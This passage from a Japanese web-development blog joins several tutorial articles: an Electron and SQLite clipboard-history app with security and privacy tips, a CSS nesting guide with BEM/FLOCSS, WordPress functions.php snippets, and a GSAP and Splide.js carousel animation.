フラグ付きのお気に入り管理といった機能をローカル環境で安定して実現できます。 ✔ コードは非公開にしている理由 このアプリは、既に有料で販売されているプロダクトと同等のクオリティを目指して開発しており、今後の展開も考慮してコードの一般公開は行っていません。 有料販売されている同種アプリと機能が重複しており、トラブル回避のため 一部セキュリティ対策が含まれており、公開による悪用リスクを防ぐため 中級者以上が活用できるノウハウを応用しているため、商用展開も視野に このような理由から「公開しないという選択」もまた、開発者として大切な判断だと考えています。 SQLite版にした理由 前回ご紹介した「localStorage版」のクリップボードアプリは、シンプルかつ軽量で扱いやすいのが特徴でした。しかし、長期運用や実務ユースを見据えると、以下のような課題が見えてきました。 保存上限がブラウザ依存で不安定 ブラウザのクリアや更新でデータが消えるリスク ファイル管理や検索性の低さ そこで、今回のSQLite版は、こうした課題をすべて解決する方向で構築しました。ローカルファイルとしての安定性に加え、SQLによる柔軟な検索・抽出が可能になり、より実用的なツールとなっています。 SQLite版の特徴 本アプリでは、Electron環境においてbetter-sqlite3を使ってSQLiteデータベースを操作しています。特徴としては以下の通りです： 軽量かつ高速なローカルDBで、大量の履歴もストレスなく保存 お気に入り管理や検索機能もDBのクエリで効率的に実装可能 Mac/Windowsに対応したデスクトップアプリとして配布可能 また、今回はUIにもこだわり、タブ切り替えによる「通常履歴」と「お気に入り」の分離表示、さらにダークモードもサポート。開発者だけでなく、非エンジニアの方にも使いやすいUIを目指しました。 コード非公開にした理由 本アプリのソースコードはあえてGitHubで非公開としています。 理由は以下の通りです： 他サイトでは有料で販売されているレベルの完成度 セキュリティ面からもロジックの一部を公開しない方が望ましい 「使う人のためのUI/UX設計」も含め、真剣に作り込んでいるため 一見、オープンにした方がアクセスは集まりやすいように感じるかもしれません。しかし、コードそのものではなく、「なぜこの構成にしたのか」「どう設計したのか」をしっかり伝えることで、十分に価値のある記事になると思っています。 localStorage版との違い 比較項目localStorage版SQLite版保存方法ブラウザのストレージローカルDBファイル（.sqlite）容量制限ブラウザ依存（約5〜10MB）実質制限なし（ディスク容量依存）永続性ブラウザキャッシュ削除で消える可能性あり半永続的（ファイルが削除されない限り保持）データ操作JSONベースで手動管理SQLで柔軟な検索・更新が可能複雑な処理不向きクエリで簡単に実現可能導入の手軽さ非常に簡単初期セットアップがやや必要 localStorage版は「軽く試すには最適」ですが、SQLite版は「本気で使う人のための設計」と言えるレベルです。特に履歴が増えてくると、検索やお気に入り管理の面で圧倒的に差が出てきます。 開発のハマりポイント SQLite版にすることで得られるメリットは多い一方、開発中にはいくつかのハマりポイントがありました。ここではその一部を共有します。 1. GitHubにpushできない（ファイルサイズ制限） Electronビルド後のdist/やnode_modules/に含まれる一部ファイル（特にElectron Framework）が100MBを超え、GitHubにpushできない問題が発生。.gitignoreで除外しても、既にコミットされた履歴が残っていては意味がないため、 git filter-repo --path dist/ --invert-paths --force を使って履歴ごと削除し、--forceで再pushする必要がありました。 2. ElectronとSQLiteのバージョン競合 ElectronでSQLiteを使うにはbetter-sqlite3などのネイティブモジュールを使用しますが、ElectronのバージョンとNodeのABIに対応するバイナリが必要です。うまく合っていないと以下のようなエラーが出てハマりました： この対処にはelectron-rebuildまたはnpm rebuildを明示的に使う必要がありました。 3. プリロードスクリプトのセキュリティ対策 Electronのpreload.jsでSQLiteにアクセスさせるため、contextIsolationやnodeIntegrationなどの設定調整が必要でした。安全性を保ちつつ、ipcMain/ipcRendererでやり取りできるようにしたのも学びのポイントです。 実務Tips（ベストプラクティス集） セキュリティ設定を最優先に BrowserWindow は contextIsolation: true、nodeIntegration: false を基本に。 レンダラとメインの通信は contextBridge + 安全な IPC 経由で限定公開。 クリップボード内容は任意コードとして実行しない（貼り付け時の HTML／Rich Text はサニタイズ）。 データ保存場所と権限 SQLite の保存先は OS ごとの ユーザーデータディレクトリ（例：app.getPath('userData') 配下）に。 macOS は「システム設定 > プライバシーとセキュリティ」で アクセシビリティ／入力監視の許可 が必要な場合あり。権限が無いと監視が動かないことがあるので導線を用意。 パフォーマンスと安定性 DB は WAL モード（PRAGMA journal_mode=WAL;）で同時アクセスと復旧性を改善。 よく使う検索列に index を付与（例：created_at, text_hash）。 クリップボード監視は デバウンス／レート制限（例：300–500ms）で CPU スパイク防止。重複は text_hash で排除。 マイグレーション運用 スキーマ変更は マイグレーションスクリプト（バージョンテーブル管理）で段階適用。 破壊的変更の前に バックアップ（DBファイルコピー） を自動取得。 機密・プライバシー配慮 「除外ワード」や「除外アプリ」設定を実装（例：password, token, 銀行サイトのプロセス名など）。 エクスポート時は 暗号化 ZIP や パスワード付き を選べるようにする。 自動起動・配布 自動起動は OS ごとの API（Windows Startup / macOS Login Items / Linux autostart）で切替可能に。 配布は electron-builder などで 署名・アップデート（autoUpdater）まで一貫管理。 UXの小技 「ピン留め」「お気に入り」「タグ」機能で再利用性UP。 プレーンテキスト化（Strip formatting）ボタン、ショートカット割当、検索は インクリメンタル に。 よくある質問 Q. セキュリティ設定は何を入れるべき？ A. contextIsolation: true/nodeIntegration: false を前提に、preload で必要最小限の API を contextBridge で公開します。IPC ではチャンネル名をホワイトリスト化し、引数のバリデーションを行ってください。 Q. SQLite はどこに保存するのが安全？ A. app.getPath('userData') 配下が推奨です。権限やバックアップの観点でも安全で、ユーザー単位で分離できます。 Q. 監視しても取りこぼす／重くなる A. ポーリング間隔を 300–500ms 程度に調整し、重複排除用の text_hash を導入。WAL モードとインデックス付与で検索・挿入を高速化します。 Q. 自動起動は実装できますか？ A. 可能です。OS ごとの機能で有効化／無効化を切り替え、初回起動時はダイアログで明示的に同意を取るとトラブルを避けられます。 Q. データを複数端末で同期したい A. まずはローカルに完結させ、後からエクスポート／インポートを実装するのが安全です。オンライン同期は暗号化・競合解決・キー管理が必要で実装コストが高いです。 Q. 機密情報を保存したくない A. 除外ワード／アプリ設定を用意し、マッチ時は保存せず即時破棄。さらに「一時保存のみ（セッション終了で消す）」モードも用意すると安心です。 Q. 文字化け・改行崩れが起きる A. 取得時は UTF-8 を基本に、HTML/RTF はプレーンテキスト変換を用意。改行は OS 差（CRLF / LF）を吸収して保存します。 まとめ 今回ご紹介したElectron×SQLiteによるクリップボード履歴アプリは、本格的なローカルアプリ開発の第一歩として非常におすすめできる構成です。localStorage版と比べても、 データ容量の制限がほぼない SQLで高速かつ柔軟な検索が可能 永続化・お気に入り管理に強い という実用面での大きなアドバンテージがあります。 その一方で、Electronの特性やネイティブモジュールの扱いには独自の学習が必要であり、開発環境の構築やデプロイには注意が必要です。今回の開発で得た知見は、今後のデスクトップアプリ開発に大きく活きると感じています。 今後の展望 SQLite版の完成により、以下のような追加機能を今後実装していく予定です。 🔍 全文検索機能の追加：Fuzzy Searchや正規表現検索への対応 ⭐ お気に入りの並び替え：自由なソート順で整理可能に 🌙 ダークモードの自動切り替え：システム設定に応じて切り替え ☁ クラウド同期機能の検討：DropboxやGoogle Driveとの連携で複数端末共有 🔐 パスワードロック機能：セキュリティ面の強化 特に「軽くて便利だけど実用的」なローカルツールとして、一般公開・配布の検討も進めていく予定です。 よくある質問（FAQ） Q. SQLiteとは何ですか？ SQLiteはファイルベースの軽量リレーショナルデータベースです。サーバー不要で.dbファイル1つでデータを管理でき、Electronアプリやモバイルアプリの内蔵DBとして広く使われています。 Q. Electronアプリでデータを永続化する方法は？ SQLite・electron-store・ファイルシステム（JSON保存）の3つが主な方法です。構造化されたデータにはSQLite、設定値にはelectron-store、シンプルなデータにはJSON保存が適しています。 ### [Electronで作るクリップボード履歴アプリ開発入門](https://codequest.work/electron-clipboard-app-guide/) この記事は、Electron と HTML/CSS/JavaScript を使って開発した「クリップボード履歴管理アプリ」の完成までの実装手順を整理した手順ガイドです。 目的 Mac上で実行できる、履歴を自動保存するクリップボードアプリを作成 UIにより履歴の再利用、お気に入り登録、削除を表示よりスムーズに操作 Electron ビルド完成後に .app 化 して Dock や Finder からのワンクリック起動を可能に 機能要件 機能カテゴリ内容クリップボード監視1秒ごとに Electron の clipboard.readText() で監視し、localStorage に保存履歴表示「通常」と「お気に入り」をタブ切替で表示し、最新順で並べ替え再コピー / 削除 / お気に入り各履歴項目の右側にアイコンで再操作可能ダークモード切替OSのテーマを取得し、localStorageに記憶。切り替えトグルボタン付き起動ウィンドウ位置ディスプレイ左上の25%に自動配置（高さ90%で中央寄せ）Dock起動 & ショートカットAutomator Quick Action + macOSのキーボードショートカットと連携ビルド & GitHub Pushelectron-packager で .app 作成、.gitignore で除外。Gitの制限回避済み 実装手順 【1. ファイル構成を作成】 electron_clipboard_app/ ├── index.html ├── main.js ├── preload.js ├── package.json ├── js/ │ └── script.js ├── css/ │ └── style.css └── .gitignore 【2. Electron の基礎構成を作成】 main.js で BrowserWindow を定義 preload.js で contextBridge 経由で clipboardイベントを接続 【3. HTML + CSS + JS で UI/UX 実装】 index.html に textarea + コピーボタン + tabs style.css で表示分割, dark/light class script.js でデータ管理, localStorage, ElectronAPI連携 【4. .gitignore と GitHub push】 .gitignore に以下を追加 node_modules/ *.app clipboard-app-darwin-*/ .DS_Store push 時は git add . → git commit → git push (または -f) 【5.後続のアップデートのための組み込み】 Dock や Quick Action からの起動済 .app は Electron Packager で再生成 後日の updater や Release の自動化も検討可 おわりに このアプリは、ちょっとした日常の作業を快適にしてくれる「自分専用ツール」としての使い道にぴったりです。 Electron の学習や、自作アプリのパッケージング方法の理解にも役立つ構成になっていますので、今後の開発のたたき台として活用していただければうれしいです。 気になる機能の追加や改善も自由に試せますので、あなたの好みに合わせてどんどん育ててみてください！ Githubサンプルコード よくある質問（FAQ） Q. Electronとは何ですか？ ElectronはHTML・CSS・JavaScriptでデスクトップアプリを開発できるフレームワークです。VS Code、Slack、Discordなど多くの人気アプリがElectronで作られています。クロスプラットフォーム（Windows・Mac・Linux）対応が特徴です。 Q. Electronアプリのメモリ使用量が多い理由は？ ElectronはChromiumブラウザエンジンを内蔵しているため、ネイティブアプリと比較してメモリ消費量が大きくなります。軽量な代替としてTauriが注目されていますが、Electronはエコシステムの成熟度と開発速度で優位性があります。 Q. Electronの学習に前提知識は必要ですか？ HTML・CSS・JavaScriptの基礎知識が必須です。Node.jsの基本（ファイル操作・モジュールシステム）も必要になります。Reactなどのフレームワーク経験があると、より効率的にUI開発を進められます。 ### [CSSネスト完全ガイド｜基本構文からBEM×FLOCSS実践まで](https://codequest.work/css-nesting-bem-flocss-guide/) CSSネストとは、Sassなどのツールを使わずにCSSだけでセレクタを入れ子に書ける標準機能です。2023年以降に主要ブラウザへ実装され、現在はビルド環境なしで利用できます。 この記事では、CSSネストの基本ルールから、BEM命名・FLOCSS構成と組み合わせた実践的な書き方までを初心者向けに解説します。コード例はコピーしてそのまま動作するものだけを掲載しています。 最初に、もっとも間違えやすい点を1つだけ先に共有します。Sassでよく使う &__title のような文字の連結は、ネイティブのCSSネストでは使えません。ここを知らないまま書くと、スタイルがまったく効かない状態でつまずきます。詳しくは本文で解説します。 CSSネストとは？ 何が便利になるのか CSSネストは、親セレクタの中に子セレクタを入れ子で書ける機能です。まずは、従来の書き方と比べてみます。 /* 従来の書き方：セレクタを毎回フルで書く */ .container { background: #f4f4f4; padding: 20px; } .container .box { border: 1px solid #ccc; padding: 10px; } .container .box p { color: #333; font-size: 16px; } /* CSSネスト：親の中に入れ子で書ける */ .container { background: #f4f4f4; padding: 20px; .box { border: 1px solid #ccc; padding: 10px; p { color: #333; font-size: 16px; } } } どちらも結果は同じですが、ネストを使うと次の利点があります。 親子関係が見た目で分かるため、HTMLの構造と対応づけて読める 同じセレクタを何度も書かずに済み、打ち間違いが減る 1つの部品に関するスタイルが1か所にまとまり、削除や移動がしやすい これまでは同じことをするのにSass（SCSS）やLessが必要でしたが、現在はブラウザがそのまま解釈してくれます。コンパイル（変換）作業が不要になったのが最大の変化です。 覚えるルールは3つだけ CSSネストで迷うのは、記号の &（アンパサンド）を付けるかどうかだけです。次の3つを押さえれば実務で困りません。 ルール1：中の要素を指すだけなら & は不要 「親の中にある○○」を指す場合は、そのまま書けます。 .card { padding: 1rem; /* .card の中の .title に当たる（= .card .title） */ .title { font-size: 1.2rem; } /* タグ名でも書ける（= .card p） */ p { color: #666; } } なお、実装当初は & が必須でした。現在は不要になっていますが、古い解説記事では & .title と書かれている場合があります。どちらの書き方でも動作します。 ルール2：くっつけたいときは & を先頭に置く 「その要素自体がホバーされたとき」「その要素自体に別のクラスが付いたとき」のように、間にスペースを入れずに条件を足したい場合は & が必要です。 .button { background-color: #0078ff; color: #fff; /* = .button:hover */ &:hover { background-color: #005ecb; } /* = .button.is-active（2つのクラスが同時に付いた状態） */ &.is-active { background-color: #005ecb; } /* = .button::after */ &::after { content: " →"; } } ここで & を書き忘れて .is-active とだけ書くと、.button .is-active（ボタンの中にある要素）という別の意味になります。効かないときは、まずここを疑ってください。 ルール3：& で文字をつなぐことはできない ここが本記事でもっとも重要な注意点です。Sassでは書けた &__title のような連結は、ネイティブCSSネストでは使えません。 .card { padding: 1rem; /* NG：ネイティブCSSでは無効。このルールごと無視される */ &__title { font-size: 1.2rem; } } Sassの & は「親のクラス名という文字列」として扱われるため連結できますが、CSSの & は「親セレクタそのものを指す記号」であり、文字列ではありません。MDNでも「CSSネストでは連結はできない」と明記されています（出典：MDN — Using CSS nesting）。 やっかいなのは、エラーが表示されずにそのルールだけが静かに無視される点です。「書いたのに反映されない」と感じたときは、この形になっていないか確認してください。正しい書き方は後半の「BEM × CSSネストの正しい書き方」で解説します。 CSSネストとSass/Lessの違い 比較項目ネイティブCSSネストSass / Less使用環境ブラウザでそのまま動くコンパイラ（変換ツール）が必要ビルド作業不要必要&__elem の連結できないできる変数・関数・Mixinなし（CSS変数は利用可）あり学習コスト低い（CSSの延長）やや高い（独自構文を覚える） CSSネストはSassほど多機能ではありませんが、入れ子構造だけが目的ならこれで十分です。ビルド環境を用意せずに始められるのが最大の利点で、小規模サイトやWordPressテーマの部分修正と相性が良い機能です。 ブラウザ対応状況 CSSネストは2023年から順次実装され、& なしで書ける現在の仕様には次のバージョンから対応しています。 ブラウザ現行仕様に対応備考Google Chrome120以降112〜119は & 必須の旧仕様Microsoft Edge120以降112〜119は & 必須の旧仕様Firefox117以降当初から現行仕様Safari17.2以降16.5〜17.1は & 必須の旧仕様 対応状況の出典はCan I use（CSS Nesting）です。旧仕様のブラウザも一定数残っているため、不安な場合は常に & を付けて書くのが安全策になります。& は付けても動作が変わらないため、チームのルールとして「常に付ける」と決めてしまうのも有効です。 BEM × CSSネストの正しい書き方 BEMは block__element--modifier の形でクラス名を付ける命名規則です。前述のとおりネイティブCSSでは &__title と書けないため、組み合わせ方には工夫が必要です。取れる選択肢は次の2つです。 方法1：Elementはフラットに書く（推奨） BEMのElement（card__title など）はトップレベルに並べ、ネストは状態や画面幅などの条件だけに使う方法です。 .card { display: flex; padding: 1rem; background: #fff; /* 条件つきの指定だけをネストする */ &:hover { background: #f7f7f7; } &.is-selected { outline: 2px solid #0070f3; } @media (width > 768px) { flex-direction: row; } } /* Element と Modifier はフラットに書く */ .card__title { font-size: 1.2rem; font-weight: bold; } .card__description { font-size: 1rem; color: #666; } .card--large { padding: 2rem; } 一見すると入れ子が減って損をしたように見えますが、実はこれがBEM本来の形です。BEMのクラス名はそれだけで場所が特定できるように作られているため、入れ子にしなくても構造は失われません。むしろセレクタが短いままなので、あとから上書きしやすいという利点があります。 方法2：どうしても入れ子で書きたいならSassを使う &__title のような書き方を続けたい場合は、Sass（SCSS）やPostCSSのプラグインを使います。これらは書いたコードを通常のCSSに変換してから配信するため、連結が可能です。 /* これはSass（SCSS）のコード。ブラウザには変換後のCSSが届く */ .card { padding: 1rem; &__title { font-size: 1.2rem; } &--large { padding: 2rem; } } ただしビルド環境が必要になるため、「ビルド不要」というCSSネストの利点は失われます。新規に始めるなら方法1、既存のSassプロジェクトを続けるなら方法2と考えるのが分かりやすい基準です。 ネストで詳細度が上がる点に注意 ネストで書いたセレクタは、展開すると .card .title のような形になります。これは .title 単体よりも詳細度（＝どのスタイルが優先されるかの強さ）が高くなるため、あとから .title だけで上書きしようとしても効きません。 BEMのようにクラス名で場所を表す設計なら、そもそも深いネストが不要になります。ネストは「便利だから使う」のではなく、「条件を書くときだけ使う」と決めておくと事故が減ります。 FLOCSS形式のディレクトリ構成と組み合わせる FLOCSSは、CSSファイルをFoundation・Layout・Objectの3層に分けて管理する設計手法です。CSSネストと組み合わせると、1ファイル＝1部品の形で自己完結させやすくなります。 ディレクトリ役割入れるものfoundation/土台リセットCSS、CSS変数、基本のタグスタイルlayout/大枠header、footer、sidebar などobject/component/汎用パーツbutton、label など最小単位の部品object/project/サイト固有記事カード、問い合わせフォームなどobject/utility/微調整u-mb16、u-text-center など 読み込む順番は上から下（foundation → layout → object）です。あとから読み込まれたCSSが優先されるため、土台から細かい調整へと段階的に上書きしていく形になります。 なおfoundation層には、ブラウザ間の初期スタイルの差を吸収するリセットCSSを配置します。土台を揃えておくことで、object層以降のスタイル崩れを防げます。 メディアクエリもネストできる CSSネストの利点がもっとも分かりやすいのがメディアクエリです。従来はセレクタを再度書く必要がありましたが、ネストなら部品の中に書けます。 .container { padding: 1rem; @media (width > 1024px) { padding: 2rem; } } ファイル末尾にメディアクエリをまとめて書く方式だと、「この部品のレスポンシブ指定はどこにあるのか」を探す手間が発生します。ネストならその部品を消すだけで関連指定もまとめて消せるため、消し忘れによる不要なCSSの蓄積を防げます。 ### [WordPressカスタマイズ入門｜functions.php便利コード集](https://codequest.work/functions-php-customize-tips/) functions.php とは、有効化中のテーマが読み込まれるときに WordPress が自動で実行する PHP ファイルです。テーマに機能を足したり、コアの既定動作を止めたりするために使います。プラグインを入れずにサイトの挙動を変えられる一方で、テーマを切り替えた瞬間に、書いた内容はすべて効かなくなります。 この記事は「コピペできるコード集」であると同時に、そのコードをどこに貼り、効いたかどうかをどこで確かめ、壊したときにどう戻すかまでを扱います。ネット上のスニペット集の多くは WordPress 5.0 より前に書かれたままで、現行バージョンでは動かない行や、貼っても何も起きない行が混ざっています。ここで紹介する 10 本はすべて WordPress 7.0.2 のコアで挙動を確認し、それぞれに「効いたか確認」の合否ラインを付けました。 functions.php とは何か、そしてどこに書くか functions.php は、テーマフォルダの直下に置かれる PHP ファイルです。WordPress は起動処理の途中で「有効化されているテーマ」のフォルダを見に行き、そこに functions.php があれば無条件に読み込みます。子テーマを使っている場合は、子テーマと親テーマの両方が読み込まれます。プラグインと同じことができるファイルですが、プラグインがサイトに属するのに対し、functions.php はテーマに属します。この一点が、後で出てくる「何を書くべきか」の判断基準になります。 そもそもフックや関数といった仕組みから押さえたい場合は、WordPressのfunctions.phpとは？基本と役割を先に読むと、この記事のコードが何をしているのか読み解きやすくなります。 読み込まれるタイミングは「テーマが決まった後」 順番を知っておくと、後述するリビジョンの落とし穴が理解できます。WordPress の起動処理（wp-settings.php）は、おおまかに次の順で進みます。 wp-config.php が読み込まれる（ここで書いた定数が最初に確定する） コアが「まだ定義されていない定数」に既定値を入れる プラグインが読み込まれる 有効なテーマの functions.php が読み込まれる after_setup_theme → init の順にフックが走る 重要なのは 2 が 4 より先に走るという点です。つまり、コアが既定値を入れてしまう定数は、functions.php からいくら define() しても上書きできません。これが「ネットで見たコードを貼ったのに何も変わらない」の典型的な原因です。 親テーマと子テーマ、どちらに書くか 配布テーマを使っているなら、必ず子テーマの functions.php に書きます。親テーマに直接書くと、テーマがアップデートされた時点で書いた内容ごと上書きされて消えます。子テーマの functions.php は親テーマを「置き換える」のではなく、親テーマより先に読み込まれて追加されるので、必要な行だけを書けば十分です。 自作テーマなら親テーマの functions.php にそのまま書いて構いません。配布テーマを使い続けるか自作に切り替えるかで迷っている段階なら、オリジナルテーマと既存テーマの違いで判断材料を整理しています。テーマ内のどのファイルが何を担当しているかはWordPressテーマのテンプレートファイル一覧と役割にまとめてあります。 この記事で扱うスニペット一覧 貼る前に、それぞれが何をして、どこに副作用が出て、効いたかをどこで見るのかを一覧にしました。「リスク」の欄が空欄でないものは、貼る前に一度立ち止まってください。 スニペット用途効果リスク確認場所管理バー非表示表示調整ログイン中でも公開ページに黒いバーが出ない編集画面への近道が消える公開ページの画面上部バージョン非出力表示調整meta name="generator" が消えるこれだけでは隠しきれないソース内の generator抜粋の長さ変更表示調整アーカイブの抜粋が指定量で切れるロケールで単位が変わるアーカイブページリビジョン無効化DB軽量化更新時に履歴を作らなくなる復元できなくなる編集画面のリビジョン欄絵文字の読み込み停止高速化絵文字用の JS と CSS が出なくなる古い環境で絵文字が崩れるソース内の emojiアイキャッチ有効化機能追加投稿にアイキャッチ欄が出る—編集画面の右サイドバー画像サイズ追加機能追加指定サイズの画像が生成される既存画像には遡らないuploads 内の新規ファイルメニュー登録機能追加外観→メニューに表示位置が出る—外観→メニューウィジェットエリア登録機能追加外観→ウィジェットに枠が出る—外観→ウィジェットカスタム投稿タイプ／タクソノミー機能追加独自の投稿種別と分類が使えるテーマを変えると消える管理画面左メニューとアーカイブURL 表示まわりを整える まずは副作用が小さく、貼った結果が目で見て分かるものから始めます。この 3 つは動作確認の練習にも向いています。 管理バーを非表示にする ログイン中に公開ページの上部へ出る黒いバーを消します。デザイン確認のときに高さがずれるのが煩わしい、という理由で使われることが多い設定です。 add_filter('show_admin_bar', '__return_false'); 確認する場所合格不合格のときログインしたまま公開ページを開く画面上部の黒いバーが消えているバーが残る＝貼った先が有効テーマではない（子テーマのつもりで親テーマに貼った、別テーマが有効になっている） WordPress のバージョン情報を出力しない WordPress は既定で <meta name="generator" content="WordPress 7.x"> を出力します。これを止めます。 remove_action('wp_head', 'wp_generator'); ただし、これを「セキュリティ対策」と呼ぶのは言い過ぎです。この 1 行が消すのは HTML の head に出る 1 行だけで、RSS フィード内の generator 要素、CSS や JS に付く ?ver= のクエリ文字列、/readme.html など、バージョンが読み取れる場所は他にも残ります。バージョンを外から見えにくくする施策の一部にすぎず、脆弱性そのものは塞ぎません。実際の防御は本体・テーマ・プラグインを更新し続けることで、この行はその代わりにはなりません。 確認する場所合格不合格のとき公開ページで Ctrl+U（Mac は ⌘+U）→ generator を検索meta name="generator" の行が出ない出る＝別のプラグインが独自に generator を出力している。プラグインを 1 つずつ止めて特定する 抜粋の長さを変える アーカイブページなどで the_excerpt() が出す抜粋の長さを変えます。 function my_excerpt_length( $length ) { return 50; } add_filter('excerpt_length', 'my_excerpt_length'); ここでよく誤解されるのが「50」の単位です。WordPress 公式リファレンスの excerpt_length は「The maximum number of words. Default 55.」、つまり仕様上は単語数と書かれています。実際に切り出す wp_trim_words() はロケールの単語カウント方式を見て動きが変わり、日本語ロケールでは文字単位に切り替わります。そのため日本語サイトでは「50 文字」、英語ロケールのサイトでは「50 単語」として扱われます。多言語サイトで同じ数値を使い回すと見た目の長さが揃わないので注意してください。 確認する場所合格不合格のときカテゴリーページなどアーカイブの抜粋表示日本語サイトなら約 50 文字で … が付く変わらない＝テーマが the_excerpt() を使わず本文を独自に切り出している。テンプレート側を確認する テーマ側がどこで抜粋を出しているかを追う手順は、WordPressループの書き方とarchive.phpの使い方とカスタマイズで扱っています。 読み込みと保存を軽くする ここから 2 つは、ネット上に出回っているコードがそのままでは正しく動かない典型例です。片方は PHP の警告を出し、もう片方は貼っても何も起きません。理由まで含めて置き換えてください。 リビジョンを止める、または件数を絞る リビジョンは投稿を更新するたびに履歴を DB へ積み上げる機能です。記事数が増えると wp_posts テーブルが膨らむため、無効化や件数制限がよく紹介されます。まず前提として、リビジョンと自動保存は別の機能です。自動保存は編集中に一定間隔で下書きを保存する仕組みで、これから紹介するコードでは止まりません。以降は「リビジョン」の話に限定します。 完全に無効化する場合は、functions.php にこの 1 行だけを書きます。 // functions.php — リビジョンを完全に無効化する remove_action('post_updated', 'wp_save_post_revision'); この 1 行は WordPress 7.0.2 でも問題なく動きます。コアはリビジョン保存を post_updated フックに優先度 10 で登録しており、上の remove_action() はそれと一致します。WordPress 6.4 で wp_after_insert_post 経由の保存経路が追加されましたが、その処理は最初に「post_updated に wp_save_post_revision が残っているか」を確認して、無ければ何もせずに戻る作りになっています。1 行で両方の経路が止まります。 問題は、この行とセットで紹介されることの多い define('WP_POST_REVISIONS', 3); です。functions.php に書いた場合、この行は効かないうえに PHP の警告を出します。理由は冒頭で触れた読み込み順です。コアは functions.php より前の段階で WP_POST_REVISIONS に既定値を入れてしまうため、functions.php での define() は「すでに定義済みの定数を再定義しようとした」ことになります。 WordPress 7.0.2 で実際に試すと、次のようになります。 core defined : bool(true) PHP Warning: Constant WP_POST_REVISIONS already defined in .../functions.php on line 6 after theme : bool(true) # 3 にならない WP_DEBUG_DISPLAY が有効な開発環境では、この警告が全ページの先頭に表示されます。さらにこの 2 行は論理的にも矛盾しています。1 行目でリビジョン保存そのものを止めておきながら、2 行目で「3 つに制限する」と書いているからです。並べて貼ってはいけません。 件数を絞りたい場合は、functions.php ではなく wp-config.php に書きます。wp-config.php はコアが既定値を入れるより先に読み込まれるので、こちらの値が採用されます。 ### [GSAP×Splide.jsで作るスクロール連動スライダーアニメーション](https://codequest.work/crossglide-animation/) クロスグライドアニメーションとは？ スクロールアニメーションは、ページを移動する際に要素がフェードインしたりスライドしたりすることで、ユーザーの目を引く演出を行います。今回紹介するクロスグライドアニメーションは、その応用版。上下2段のカルーセルを自動スクロールさせ、一定のタイミングで交差するように画像を入れ替えることで、ダイナミックかつ印象的な動きを作り出します。 「クロス（交差）＋グライド（滑るように移動）」という特徴的な動作から名付けた、独自のスクロールアニメーションです。 実装に使うライブラリ このアニメーションは次のライブラリを組み合わせて実装します。 Splide.js軽量で柔軟なカルーセルライブラリ。上下2段の横スクロールを簡単に構築できます。 GSAP高機能なJavaScriptアニメーションライブラリ。入れ替え時のスムーズなトランジションを担当します。 この2つを組み合わせることで、シンプルなコードでも高度な演出を作れるのがポイントです。 仕組みの概要 クロスグライドアニメーションの仕組みは以下のとおりです。 上下にカルーセルを配置し、自動スクロールさせる 上段：右方向へ 下段：左方向へ 3秒ごとに入れ替え処理を実行 画面右側の 75% 付近にある画像を上下それぞれで取得 2つの画像をクローンしてアニメーションで入れ替える 最後に src を入れ替え、実際の要素を更新 このシンプルなルールによって、見ていて心地よい“交差する動き”を表現できます。や商品一覧、ギャラリーなどに組み込むことで、視覚的に“交差する”ダイナミックなUIを実現できます。 🔄実装コードの解説 Splide.js の初期化 上下2段のカルーセルを設定します。上段は右へ、下段は左へ自動スクロールさせます。 const splideTop = new Splide('.splide1', { type: 'loop', autoWidth: true, gap: 0, drag: false, arrows: false, pagination: false, autoScroll: { speed: 1.2, pauseOnHover: false, pauseOnFocus: false }, }); const splideBottom = new Splide('.splide2', { type: 'loop', autoWidth: true, gap: 0, drag: false, arrows: false, pagination: false, autoScroll: { speed: -1.2, pauseOnHover: false, pauseOnFocus: false }, }); splideTop.mount(window.splide.Extensions); splideBottom.mount(window.splide.Extensions); 入れ替え処理 画面右側 75% 付近の要素を検出し、クローンをアニメーションさせます。 const TRIGGER_RATIO = 0.75; const SWAP_EVERY_MS = 3000; function swapOnceWithAnimation() { const topPick = findClosestSlide(document.querySelector('.splide1')); const botPick = findClosestSlide(document.querySelector('.splide2')); if (!topPick || !botPick) return; const topImg = topPick.el.querySelector('img'); const botImg = botPick.el.querySelector('img'); if (!topImg || !botImg) return; // クローンを生成して動かす const cTop = makeCloneFrom(topPick.rect, topImg); const cBot = makeCloneFrom(botPick.rect, botImg); topImg.style.visibility = 'hidden'; botImg.style.visibility = 'hidden'; const toTop = { top: topPick.rect.top + window.scrollY, left: topPick.rect.left + window.scrollX }; const toBot = { top: botPick.rect.top + window.scrollY, left: botPick.rect.left + window.scrollX }; gsap.to(cTop, { duration: 0.6, top: toBot.top, left: toBot.left, ease: 'power2.inOut' }); gsap.to(cBot, { duration: 0.6, top: toTop.top, left: toTop.left, ease: 'power2.inOut', onComplete: () => { // src を入れ替えて本体を更新 const tmp = topImg.src; topImg.src = botImg.src; botImg.src = tmp; topImg.style.visibility = 'visible'; botImg.style.visibility = 'visible'; cTop.remove(); cBot.remove(); } }); } setInterval(swapOnceWithAnimation, SWAP_EVERY_MS); 💻 デモ（CodePen） 以下のCodePenで動作をご確認いただけます： See the Pen Untitled by masakazuimai (@masakazuimai) on CodePen. 🧰 使用技術 HTML / CSS splide.js GSAP（GreenSock Animation Platform） 🧠カスタマイズのポイント 入れ替え間隔：SWAP_EVERY_MS を変更（例：2000にすれば2秒ごと） トリガー位置：TRIGGER_RATIO を変更（例：0.6で画面の60%位置） アニメーション速度：gsap.to() の duration を調整 動きの種類：ease を power4.out や elastic.out に変更可能 ちょっとした調整で雰囲気が大きく変わります。 応用アイデア 商品一覧：上下のアイテムが交差する動きで印象アップ ポートフォリオ：写真や実績を動きのある形で表示 ヒーローヘッダー：サイト冒頭に配置して動きで惹きつける ビジュアルが多い場面で特に効果的です。 まとめ クロスグライドアニメーションは、スクロールアニメーションの一種としてカルーセルを交差させる独自の演出です。Splide.js でカルーセルを構築し、GSAP でアニメーション制御を行うことで、わずかなコード量でも実装できます。 画像を動画にするなど、オリジナルのカスタマイズをしてみてください！ よくある質問（FAQ） Q. CrossGlideアニメーションとは何ですか？ 複数の要素が交差しながらスライドするCSSアニメーション技法です。異なる方向からtranslateXとtranslateYで要素を移動させ、交差ポイントでクロスさせることで、ダイナミックなトランジション効果を実現します。ページ遷移やセクション切り替えの演出として効果的です。 Q. クロスフェードとクロスグライドの違いは？ クロスフェードは2つの要素のopacityを交互に変化させて溶け合うように切り替える技法で、主に画像やスライドの切り替えに使います。クロスグライドは要素を移動（グライド）させながら交差させる技法で、動きのダイナミズムが加わります。用途に応じて使い分け、より印象的な演出にはクロスグライドが適しています。 ### [Matter.jsの使い方｜物理演算で重力・跳ね返りを実装する方法](https://codequest.work/impact-sphere-animation/) 